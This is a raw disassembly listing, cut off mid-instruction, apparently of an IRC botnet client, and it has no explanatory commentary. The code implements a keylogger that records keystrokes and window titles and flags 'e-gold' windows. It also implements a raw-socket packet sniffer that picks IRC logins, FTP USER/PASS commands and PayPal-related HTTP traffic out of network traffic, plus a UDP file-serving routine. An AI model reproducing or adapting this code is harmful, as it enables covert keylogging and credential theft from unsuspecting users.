[ebp+var_778] push eax call sub_415D38 push [ebp+var_168] call sub_40B6D6 pop ecx pop ecx push ebx call ds:dword_4270D4 ; ExitThread loc_412237: ; CODE XREF: sub_412197+48j lea eax, [ebp+var_10] push 4 push eax mov edi, 0FFFFh push 4 push edi push esi call dword_4CB9B4 ; setsockopt lea eax, [ebp+var_14] push 4 push eax push 0FFFFFFFBh push edi push esi call dword_4CB9B4 ; setsockopt mov eax, [ebp+var_168] push 10h ; Size imul eax, 234h push ebx ; Val mov dword_43E91C[eax], esi lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_160] call dword_4CB9D4 ; htons mov [ebp+var_2A], ax lea eax, [ebp+Dst] push 10h push eax push esi mov [ebp+var_28], ebx call dword_4CBA00 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4122C1 push 1388h call ds:dword_427080 ; Sleep dec [ebp+var_164] push [ebp+arg_0] jmp loc_4125F0 ; --------------------------------------------------------------------------- loc_4122C1: ; CODE XREF: sub_412197+10Fj lea eax, [ebp+Filename] push offset aRb ; "rb" push eax ; Filename call _fopen pop ecx cmp eax, ebx pop ecx mov [ebp+File], eax jnz short loc_412327 push 190h call ds:dword_427080 ; Sleep push ebx ; int lea eax, [ebp+var_778] push [ebp+var_DC] ; int push eax ; int lea eax, [ebp+var_15C] push eax ; Str push [ebp+var_374] ; int call sub_409869 lea eax, [ebp+var_778] push eax call sub_415D38 push [ebp+var_168] call sub_40B6D6 add esp, 1Ch push ebx call ds:dword_4270D4 ; ExitThread loc_412327: ; CODE XREF: sub_412197+142j ; sub_412197+413j mov edi, [ebp+arg_0] cmp [edi+2A0h], ebx jz loc_4125B3 mov edi, 80h lea eax, [ebp+var_D0] push edi ; Size push ebx ; Val push eax ; Dst mov [ebp+var_1C], 5 mov [ebp+var_18], 1388h mov [ebp+var_878], esi mov [ebp+var_87C], 1 call _memset add esp, 0Ch lea eax, [ebp+var_1C] push eax push ebx lea eax, [ebp+var_87C] push ebx push eax push ebx call dword_4CB9BC ; select test eax, eax jle loc_4125A7 mov al, byte_43DB88 mov ecx, edi mov [ebp+var_578], al xor eax, eax lea edi, [ebp+var_577] mov [ebp+var_C], 10h rep stosd stosw stosb lea eax, [ebp+var_C] push eax lea eax, [ebp+var_3C] push eax push ebx lea eax, [ebp+var_D0] push 80h push eax push esi call dword_4CB9AC ; recvfrom push [ebp+var_38] mov [ebp+var_8], eax call dword_4CBA60 ; inet_ntoa push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf cmp [ebp+var_D0], bl pop ecx pop ecx jnz loc_412591 cmp [ebp+var_CF], 1 jnz loc_412497 lea eax, [ebp+Str] push eax ; Str call _strlen push ebx ; Origin push ebx ; Offset push [ebp+File] ; File call _fseek push [ebp+File] ; File lea eax, [ebp+DstBuf] mov [ebp+var_578], bl mov [ebp+var_577], 3 push 200h ; Count push 1 ; ElementSize push eax ; DstBuf mov [ebp+var_576], bl mov [ebp+var_575], 1 call _fread add esp, 20h lea ecx, [ebp+var_3C] mov [ebp+var_8], eax add eax, 4 push [ebp+var_C] push ecx push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4CBA38 ; sendto cmp [ebp+var_D8], ebx jnz short loc_412485 push ebx ; int lea eax, [ebp+var_778] push [ebp+var_DC] ; int push eax ; int lea eax, [ebp+var_15C] push eax ; Str push [ebp+var_374] ; int call sub_409869 add esp, 14h loc_412485: ; CODE XREF: sub_412197+2C9j lea eax, [ebp+var_778] push eax call sub_415D38 pop ecx jmp loc_4125A7 ; --------------------------------------------------------------------------- loc_412497: ; CODE XREF: sub_412197+257j cmp [ebp+var_CF], 4 jnz loc_412591 mov cl, [ebp+var_CD] mov al, [ebp+var_CE] cmp cl, 0FFh mov [ebp+var_578], bl mov [ebp+var_577], 3 jnz short loc_4124D4 inc al xor cl, cl mov [ebp+var_576], al mov [ebp+var_575], bl jmp short loc_4124E2 ; --------------------------------------------------------------------------- loc_4124D4: ; CODE XREF: sub_412197+329j inc cl mov [ebp+var_576], al mov [ebp+var_575], cl loc_4124E2: ; CODE XREF: sub_412197+33Bj movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx mov edi, 200h shl eax, 9 sub eax, edi push ebx ; Origin push eax ; Offset push [ebp+File] ; File call _fseek push [ebp+File] ; File lea eax, [ebp+DstBuf] push edi ; Count push 1 ; ElementSize push eax ; DstBuf call _fread add esp, 1Ch mov edi, eax lea eax, [ebp+var_3C] mov [ebp+var_8], edi push [ebp+var_C] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4CBA38 ; sendto cmp edi, ebx jnz short loc_4125A7 lea eax, [ebp+Dest] push eax lea eax, [ebp+var_778] push offset dword_434798 ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_41257C push ebx ; int lea eax, [ebp+var_778] push [ebp+var_DC] ; int push eax ; int lea eax, [ebp+var_15C] push eax ; Str push [ebp+var_374] ; int call sub_409869 add esp, 14h loc_41257C: ; CODE XREF: sub_412197+3C0j lea eax, [ebp+var_778] push eax call sub_415D38 inc dword_4CE4DC pop ecx jmp short loc_4125A7 ; --------------------------------------------------------------------------- loc_412591: ; CODE XREF: sub_412197+24Aj ; sub_412197+307j push [ebp+var_C] lea eax, [ebp+var_3C] push eax push ebx push 9 push offset dword_435838 push esi call dword_4CBA38 ; sendto loc_4125A7: ; CODE XREF: sub_412197+1E9j ; sub_412197+2FBj ... cmp [ebp+var_8], ebx jg loc_412327 mov edi, [ebp+arg_0] loc_4125B3: ; CODE XREF: sub_412197+199j push esi call dword_4CBA6C ; closesocket push [ebp+File] ; File call _fclose dec [ebp+var_164] cmp [edi+2A0h], ebx pop ecx jnz short loc_4125E4 push [ebp+var_168] call sub_40B6D6 pop ecx push ebx call ds:dword_4270D4 ; ExitThread loc_4125E4: ; CODE XREF: sub_412197+438j push 3E8h call ds:dword_427080 ; Sleep push edi loc_4125F0: ; CODE XREF: sub_412197+125j call sub_412197 pop edi pop esi pop ebx leave retn 4 sub_412197 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4125FC(int,char *Str,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) sub_4125FC proc near ; CODE XREF: sub_4126A7+E2p ; sub_4126A7+1A4p ... Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = byte ptr 18h arg_90 = dword ptr 98h arg_94 = dword ptr 9Ch push ebp mov ebp, esp sub esp, 200h cmp [ebp+arg_90], 0 jz short loc_41266C push esi mov esi, offset aEGold ; "e-gold" loc_412614: ; CODE XREF: sub_4125FC+6Bj push esi ; SubStr push [ebp+Str] ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_41265B push esi lea eax, [ebp+Dest] push [ebp+arg_0] push offset aSS_5 ; "%s (%s)" push 200h ; Count push eax ; Dest call __snprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_94] ; int push eax ; int lea eax, [ebp+arg_10] push eax ; Str push [ebp+arg_8] ; int call sub_409869 add esp, 28h loc_41265B: ; CODE XREF: sub_4125FC+25j add esi, 80h cmp esi, offset dword_436448 jb short loc_412614 pop esi jmp short loc_4126A3 ; --------------------------------------------------------------------------- loc_41266C: ; CODE XREF: sub_4125FC+10j push [ebp+arg_0] lea eax, [ebp+Dest] push offset aS_6 ; "%s" push 200h ; Count push eax ; Dest call __snprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_94] ; int push eax ; int lea eax, [ebp+arg_10] push eax ; Str push [ebp+arg_8] ; int call sub_409869 add esp, 24h loc_4126A3: ; CODE XREF: sub_4125FC+6Ej xor eax, eax leave retn sub_4125FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4126A7 proc near ; DATA XREF: sub_401ACD+7374o var_920 = dword ptr -920h var_91C = byte ptr -91Ch var_520 = byte ptr -520h Dest = byte ptr -4E0h var_2E1 = byte ptr -2E1h Dst = byte ptr -2E0h var_E0 = byte ptr -0E0h var_DC = dword ptr -0DCh var_58 = dword ptr -58h Str = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 920h mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_920], 0 push 26h and [ebp+arg_0], 0 pop ecx mov esi, eax lea edi, [ebp+var_E0] rep movsd mov dword ptr [eax+94h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_91C] rep stosd call dword_4CB958 ; GetForegroundWindow lea ecx, [ebp+Str] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_4CB970 ; GetWindowTextA mov ebx, 200h loc_412702: ; CODE XREF: sub_4126A7+4A0j push 8 call ds:dword_427080 ; Sleep call dword_4CB958 ; GetForegroundWindow cmp eax, [ebp+var_8] jz loc_41287A lea ecx, [ebp+Str] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_4CB970 ; GetWindowTextA cmp [ebp+var_58], 0 jz loc_4127FF lea eax, [ebp+Dst] push eax ; Str call _strlen test eax, eax pop ecx jbe short loc_4127B8 lea eax, [ebp+Str] push eax ; Str call _strlen cmp eax, 1 pop ecx jnb short loc_4127B8 lea eax, [ebp+Dst] push eax lea eax, [ebp+Dest] push offset a__S_l_ ; ".».%s.«." push eax ; int call _sprintf sub esp, 8Ch lea eax, [ebp+Str] lea esi, [ebp+var_E0] push 26h pop ecx mov edi, esp push eax ; Str lea eax, [ebp+Dest] rep movsd push eax ; int call sub_4125FC mov [ebp+arg_0], eax push ebx ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0ACh lea eax, [ebp+Dest] push ebx ; Size push 0 ; Val push eax ; Dst call _memset add esp, 0Ch loc_4127B8: ; CODE XREF: sub_4126A7+9Bj ; sub_4126A7+AAj lea eax, [ebp+Dst] push eax ; Str call _strlen test eax, eax pop ecx jbe loc_41287A lea eax, [ebp+Str] push eax ; Str call _strlen test eax, eax pop ecx jbe loc_41287A lea eax, [ebp+Dst] push eax lea eax, [ebp+Dest] push offset a__S_l_ ; ".».%s.«." push eax ; Dest call _sprintf sub esp, 8Ch jmp short loc_412833 ; --------------------------------------------------------------------------- loc_4127FF: ; CODE XREF: sub_4126A7+86j lea eax, [ebp+Str] push eax ; Str call _strlen test eax, eax pop ecx jbe loc_412925 lea eax, [ebp+Str] push eax lea eax, [ebp+Dst] push eax lea eax, [ebp+Dest] push offset a__S_l_ChangedW ; ".».%s.«. (Changed Windows: %s)" push eax ; int call _sprintf sub esp, 88h loc_412833: ; CODE XREF: sub_4126A7+156j push 26h lea eax, [ebp+Str] pop ecx lea esi, [ebp+var_E0] mov edi, esp push eax ; Str lea eax, [ebp+Dest] rep movsd push eax ; int call sub_4125FC mov [ebp+arg_0], eax push ebx ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0ACh lea eax, [ebp+Dest] push ebx ; Size push 0 ; Val push eax ; Dst call _memset add esp, 0Ch loc_41287A: ; CODE XREF: sub_4126A7+6Cj ; sub_4126A7+120j ... cmp [ebp+var_58], 0 jz loc_412925 push 1 call dword_4CB9A0 ; GetAsyncKeyState cmp ax, 8001h jnz loc_412925 lea eax, [ebp+Dst] push eax ; Str call _strlen test eax, eax pop ecx jbe short loc_412925 call dword_4CB958 ; GetForegroundWindow lea ecx, [ebp+var_520] push 3Ch push ecx push eax call dword_4CB970 ; GetWindowTextA lea eax, [ebp+Dst] push eax lea eax, [ebp+Dest] push offset a__S_l_ ; ".».%s.«." push eax ; int call _sprintf sub esp, 8Ch lea eax, [ebp+var_520] lea esi, [ebp+var_E0] push 26h pop ecx mov edi, esp push eax ; Str lea eax, [ebp+Dest] rep movsd push eax ; int call sub_4125FC mov [ebp+arg_0], eax push ebx ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0ACh lea eax, [ebp+Dest] push ebx ; Size push 0 ; Val push eax ; Dst call _memset add esp, 0Ch loc_412925: ; CODE XREF: sub_4126A7+164j ; sub_4126A7+1D7j ... mov [ebp+var_4], offset dword_43644C loc_41292C: ; CODE XREF: sub_4126A7+496j push 10h call dword_4CB8A8 ; GetKeyState movsx esi, ax mov eax, [ebp+var_4] mov edi, [eax-4] push edi call dword_4CB9A0 ; GetAsyncKeyState test ah, 80h jz short loc_4129C4 push 14h call dword_4CB8A8 ; GetKeyState test ax, ax jz short loc_412975 cmp esi, 0FFFFFFFFh jle short loc_412975 cmp edi, 40h jle short loc_412975 cmp edi, 5Bh jge short loc_412975 mov [ebp+edi*4+var_920], 1 jmp loc_412B32 ; --------------------------------------------------------------------------- loc_412975: ; CODE XREF: sub_4126A7+2ADj ; sub_4126A7+2B2j ... push 14h call dword_4CB8A8 ; GetKeyState test ax, ax jz short loc_4129A0 test esi, esi jge short loc_4129B4 cmp edi, 40h jle short loc_4129A0 cmp edi, 5Bh jge short loc_4129A0 mov [ebp+edi*4+var_920], 2 jmp loc_412B32 ; --------------------------------------------------------------------------- loc_4129A0: ; CODE XREF: sub_4126A7+2D9j ; sub_4126A7+2E2j ... test esi, esi jge short loc_4129B4 mov [ebp+edi*4+var_920], 3 jmp loc_412B32 ; --------------------------------------------------------------------------- loc_4129B4: ; CODE XREF: sub_4126A7+2DDj ; sub_4126A7+2FBj mov [ebp+edi*4+var_920], 4 jmp loc_412B32 ; --------------------------------------------------------------------------- loc_4129C4: ; CODE XREF: sub_4126A7+2A0j mov esi, [ebp+edi*4+var_920] lea eax, [ebp+edi*4+var_920] test esi, esi jz loc_412B32 and dword ptr [eax], 0 lea eax, [ebp+Dst] cmp edi, 8 push eax ; Str jnz short loc_4129FC call _strlen and [ebp+eax+var_2E1], 0 pop ecx jmp loc_412B32 ; --------------------------------------------------------------------------- loc_4129FC: ; CODE XREF: sub_4126A7+340j call _strlen cmp eax, 1B9h pop ecx jbe short loc_412A42 call dword_4CB958 ; GetForegroundWindow lea ecx, [ebp+Str] push 3Ch push ecx push eax call dword_4CB970 ; GetWindowTextA cmp [ebp+var_58], 0 jz short loc_412A30 lea eax, [ebp+Dst] push eax push offset a__S_l_BufferFu ; ".».%s.«. (Buffer full)" jmp short loc_412A85 ; --------------------------------------------------------------------------- loc_412A30: ; CODE XREF: sub_4126A7+379j lea eax, [ebp+Str] push eax lea eax, [ebp+Dst] push eax push offset a__S_l_Buffer_0 ; ".».%s.«. (Buffer full) (%s)" jmp short loc_412AA6 ; --------------------------------------------------------------------------- loc_412A42: ; CODE XREF: sub_4126A7+360j cmp edi, 0Dh jnz loc_412B04 lea eax, [ebp+Dst] push eax ; Str call _strlen test eax, eax pop ecx jz loc_412B32 call dword_4CB958 ; GetForegroundWindow lea ecx, [ebp+Str] push 3Ch push ecx push eax call dword_4CB970 ; GetWindowTextA cmp [ebp+var_58], 0 jz short loc_412A96 lea eax, [ebp+Dst] push eax push offset a__S_l_Return ; ".».%s.«. (Return)" loc_412A85: ; CODE XREF: sub_4126A7+387j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_412AB5 ; --------------------------------------------------------------------------- loc_412A96: ; CODE XREF: sub_4126A7+3D0j lea eax, [ebp+Str] push eax lea eax, [ebp+Dst] push eax push offset a__S_l_ReturnS ; ".».%s.«. (Return) (%s)" loc_412AA6: ; CODE XREF: sub_4126A7+399j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h loc_412AB5: ; CODE XREF: sub_4126A7+3EDj sub esp, 98h lea eax, [ebp+Str] lea esi, [ebp+var_E0] push 26h pop ecx mov edi, esp push eax ; Str lea eax, [ebp+Dest] rep movsd push eax ; int call sub_4125FC mov [ebp+arg_0], eax push ebx ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0ACh lea eax, [ebp+Dest] push ebx ; Size push 0 ; Val push eax ; Dst call _memset add esp, 0Ch jmp short loc_412B32 ; --------------------------------------------------------------------------- loc_412B04: ; CODE XREF: sub_4126A7+39Ej cmp esi, 1 jz short loc_412B1D cmp esi, 3 jz short loc_412B1D cmp esi, 2 jz short loc_412B18 cmp esi, 4 jnz short loc_412B32 loc_412B18: ; CODE XREF: sub_4126A7+46Aj push [ebp+var_4] jmp short loc_412B24 ; --------------------------------------------------------------------------- loc_412B1D: ; CODE XREF: sub_4126A7+460j ; sub_4126A7+465j mov eax, [ebp+var_4] add eax, 7 push eax ; Source loc_412B24: ; CODE XREF: sub_4126A7+474j lea eax, [ebp+Dst] push eax ; Dest call _strcat pop ecx pop ecx loc_412B32: ; CODE XREF: sub_4126A7+2C9j ; sub_4126A7+2F4j ... add [ebp+var_4], 14h cmp [ebp+var_4], offset dword_436B7C jl loc_41292C cmp [ebp+arg_0], 0 jz loc_412702 push [ebp+var_DC] call sub_40B6D6 pop ecx push 0 call ds:dword_4270D4 ; ExitThread sub_4126A7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B61 proc near ; DATA XREF: sub_401ACD+4150o var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h Str = byte ptr -1028Ch Dest = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h Dst = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call __alloca_probe mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push esi call dword_4CB9D4 ; htons push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AA06 pop ecx push eax call dword_4CBA14 ; inet_addr push esi push 3 push 2 mov [ebp+var_18], eax call dword_4CBA54 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_412C36 call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_43759C ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412C19 push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409869 add esp, 14h loc_412C19: ; CODE XREF: sub_412B61+96j lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_30] call sub_40B6D6 pop ecx pop ecx push esi call ds:dword_4270D4 ; ExitThread loc_412C36: ; CODE XREF: sub_412B61+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_43E91C[eax], edi lea eax, [ebp+Dst] push eax push edi call dword_4CBA00 ; bind cmp eax, 0FFFFFFFFh jnz short loc_412CBB call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_437570 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412C97 push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409869 add esp, 14h loc_412C97: ; CODE XREF: sub_412B61+114j lea eax, [ebp+Dest] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C ; closesocket push [ebp+var_30] call sub_40B6D6 pop ecx push esi call ds:dword_4270D4 ; ExitThread loc_412CBB: ; CODE XREF: sub_412B61+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_4CB980 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_412D3E call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_437540 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412D1A push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409869 add esp, 14h loc_412D1A: ; CODE XREF: sub_412B61+197j lea eax, [ebp+Dest] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C ; closesocket push [ebp+var_30] call sub_40B6D6 pop ecx push esi call ds:dword_4270D4 ; ExitThread loc_412D3E: ; CODE XREF: sub_412B61+177j push ebx mov ebx, offset a_login ; ":.login" loc_412D44: ; CODE XREF: sub_412B61+21Bj ; sub_412B61+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi ; Size push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_4CB9EC ; recv cmp eax, 0FFFFFFFFh jz loc_412E71 cmp [ebp+var_102AB], 6 jnz short loc_412D44 mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_412D44 lea eax, [ebp+Str] push offset aPsniff_0 ; "[PSNIFF]" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412D44 lea eax, [ebp+Str] push offset asc_437524 ; "-" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412D44 mov eax, ebx xor edi, edi test eax, eax jz loc_412D44 mov [ebp+arg_0], ebx loc_412DCD: ; CODE XREF: sub_412B61+287j push eax ; SubStr lea eax, [ebp+Str] push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412DEF inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_412DCD jmp loc_412D44 ; --------------------------------------------------------------------------- loc_412DEF: ; CODE XREF: sub_412B61+27Dj lea eax, [ebp+Str] push eax push [ebp+var_102A0] call dword_4CB904 ; htons movzx eax, ax push eax push [ebp+var_C] call dword_4CBA60 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, dword_436C6C[eax*8] push off_436C48[eax*4] lea eax, [ebp+Dest] push offset asc_4374F0 ; "-" push 200h ; Count push eax ; Dest call __snprintf add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_412E5F push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409869 add esp, 14h loc_412E5F: ; CODE XREF: sub_412B61+2DCj lea eax, [ebp+Dest] push eax call sub_415D38 pop ecx jmp loc_412D44 ; --------------------------------------------------------------------------- loc_412E71: ; CODE XREF: sub_412B61+20Ej call dword_4CB968 ; WSAGetLastError push eax push offset asc_4374C4 ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_412EB7 push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409869 add esp, 14h loc_412EB7: ; CODE XREF: sub_412B61+334j lea eax, [ebp+Dest] push eax call sub_415D38 pop ecx push [ebp+var_4] call dword_4CBA6C ; closesocket push [ebp+var_30] call sub_40B6D6 pop ecx push esi call ds:dword_4270D4 ; ExitThread sub_412B61 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412EDD proc near ; CODE XREF: sub_4131EC+213p ; sub_4131EC+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CE734, eax mov eax, offset dword_4CE734 retn sub_412EDD endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_412EEC(char *Str) sub_412EEC proc near ; CODE XREF: sub_4131EC+2BFp Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aBotSniff ; "Bot sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412F06 loc_412F02: ; CODE XREF: sub_412EEC+29j ; sub_412EEC+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412F06: ; CODE XREF: sub_412EEC+14j push offset aFaak ; "#FAAK#" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aPsniff_1 ; "[PSNIFF]:" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aPsniff_2 ; "PSNIFF//" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aJoin_0 ; "JOIN #" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412F4E loc_412F4A: ; CODE XREF: sub_412EEC+71j ; sub_412EEC+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412F4E: ; CODE XREF: sub_412EEC+5Cj ; DATA XREF: .data:off_43ACE0o push offset a302 ; "302 " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a366 ; "366 " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_login_0 ; ":.login" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aLogin ; ":!login" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aLogin_0 ; ":!Login" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_login_1 ; ":.Login" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_ident ; ":.ident" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aIdent_0 ; ":!ident" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz loc_412F4A push offset a_hashin ; ":.hashin" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz loc_412F4A push offset aHashin ; ":!hashin" push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412EEC endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_413003(char *Str) sub_413003 proc near ; CODE XREF: sub_4131EC+2F8p Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aIrcSniff ; "IRC sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_41301D loc_413019: ; CODE XREF: sub_413003+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41301D: ; CODE XREF: sub_413003+14j push offset aFaak ; "#FAAK#" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_413019 push offset aOper ; "OPER " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_413043 loc_41303F: ; CODE XREF: sub_413003+4Fj ; sub_413003+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413043: ; CODE XREF: sub_413003+3Aj push offset aNick_1 ; "NICK " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_41303F push offset aOper_0 ; "oper " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_41303F push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413003 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_413079(char *Str) sub_413079 proc near ; CODE XREF: sub_4131EC+32Ep Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aFtpSniff ; "FTP sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_413093 loc_41308F: ; CODE XREF: sub_413079+29j ; sub_413079+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413093: ; CODE XREF: sub_413079+14j push offset aFaak ; "#FAAK#" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_41308F push offset aNick_1 ; "NICK " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_41308F push offset a220 ; "220 " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_4130CA loc_4130C6: ; CODE XREF: sub_413079+60j ; sub_413079+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4130CA: ; CODE XREF: sub_413079+4Bj push offset a230 ; "230 " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4130C6 push offset aUser_2 ; "USER " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4130C6 push offset aPass_0 ; "PASS " push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413079 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_413100(char *Str) sub_413100 proc near ; CODE XREF: sub_4131EC+35Fp Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aHttpSniff ; "HTTP sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_41311A loc_413116: ; CODE XREF: sub_413100+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41311A: ; CODE XREF: sub_413100+14j push offset aFaak ; "#FAAK#" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_413116 push offset aPaypal ; "paypal" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_413140 loc_41313C: ; CODE XREF: sub_413100+4Fj ; sub_413100+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413140: ; CODE XREF: sub_413100+3Aj push offset aPaypal_0 ; "PAYPAL" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aPaypal_com 